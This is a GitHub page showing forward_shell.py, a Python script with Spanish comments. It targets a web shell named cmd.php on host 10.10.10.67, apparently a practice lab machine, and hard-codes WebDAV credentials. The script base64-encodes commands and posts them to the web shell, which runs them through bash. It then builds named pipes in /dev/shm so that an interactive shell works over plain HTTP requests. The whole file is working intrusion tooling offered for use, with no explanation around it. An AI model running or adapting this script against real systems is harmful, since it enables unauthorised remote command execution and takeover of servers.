-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathforward_shell.py
More file actions
79 lines (52 loc) · 1.72 KB
/
Copy pathforward_shell.py
File metadata and controls
79 lines (52 loc) · 1.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
import requests
import sys
import pdb
import signal
from random import randrange
from base64 import b64encode
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/cmd.php"
global stdin, stdout
session = randrange(1, 9999)
stdin = "/dev/shm/stdin.%s" % session
stdout = "/dev/shm/stdout.%s" % session
def RunCmd(command):
command = b64encode(command.encode()).decode()
post_data = {
'cmd': 'echo "%s" | base64 -d | bash' % command
}
r = requests.post(main_url, data=post_data, timeout=2)
return r.text
def WriteCmd(command):
command = b64encode(command.encode()).decode()
post_data = {
'cmd': 'echo "%s" | base64 -d > %s' % (command, stdin)
}
r = requests.post(main_url, data=post_data, timeout=2)
return r.text
def ReadCmd():
ReadTheOutput = """/bin/cat %s""" % stdout
response = RunCmd(ReadTheOutput)
return response
def SetupShell():
NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
RunCmd(NamedPipes)
except:
None
return None
SetupShell()
if __name__ == '__main__':
while True:
command = input("> ")
WriteCmd(command + "\n")
response = ReadCmd()
print(response)
ClearTheOutput = """echo '' > %s""" % stdout
RunCmd(ClearTheOutput)